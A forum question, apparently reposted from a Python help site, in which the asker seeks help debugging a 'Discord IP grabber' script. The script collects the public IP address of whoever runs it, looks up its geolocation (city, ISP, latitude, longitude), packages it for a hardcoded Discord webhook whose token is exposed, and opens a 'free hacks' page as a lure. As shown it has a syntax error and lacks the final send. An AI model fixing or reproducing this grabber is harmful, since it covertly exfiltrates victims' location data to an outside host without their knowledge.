Discord Ip Grabber to webhook

  discord, ip-address, ip-geolocation, python, webhooks

I can’t find the error and the cmd closes too quickly for me to see anything, I pu tmy code threw https://extendsclass.com/python-tester.html and it showed no errors, so I don’t know what I did?

import webbrowser
import os
import requests
import json
from dhooks import Webhook, Embed
from datetime import datetime

hook = Webhook("https://discord.com/api/webhooks/901036605635166248/bWPhHzjyF2IohJt06xyaw7cD7sNn-YPpnTQgKs7I2UMMjgIkdqEoenOvVaZGCiE8wjU7")

time = datetime.now().strftime("%H:%M %p")  
ip = requests.get('https://api.ipify.org/').text

r = requests.get(url = 'http://extreme-ip-lookup.com/json/' + str(ip))
geo = r.json()
embed = Embed()
fields = [
    {'name': 'IP', 'value': geo['query']},
    {'name': 'ipType', 'value': geo['ipType']},
    {'name': 'Country', 'value': geo['country']},
    {'name': 'City', 'value': geo['city']},
    {'name': 'Continent', 'value': geo['continent']},
    {'name': 'Country', 'value': geo['country']},
    {'name': 'IPName', 'value': geo['ipName']},
    {'name': 'ISP', 'value': geo['isp']},
    {'name': 'Latitute', 'value': geo['lat']},
    {'name': 'Longitude', 'value': geo['lon']},
    {'name': 'Org', 'value': geo['org']},
    {'name': 'Region', 'value': geo['region']},
    {'name': 'Status', 'value': geo['status']},
for field in fields:
    if field['value']:
        embed.add_field(name=field['name'], value=field['value'], inline=True)

webbrowser.open('https://freehacksforus.weebly.com', new=2)

Source: Python Questions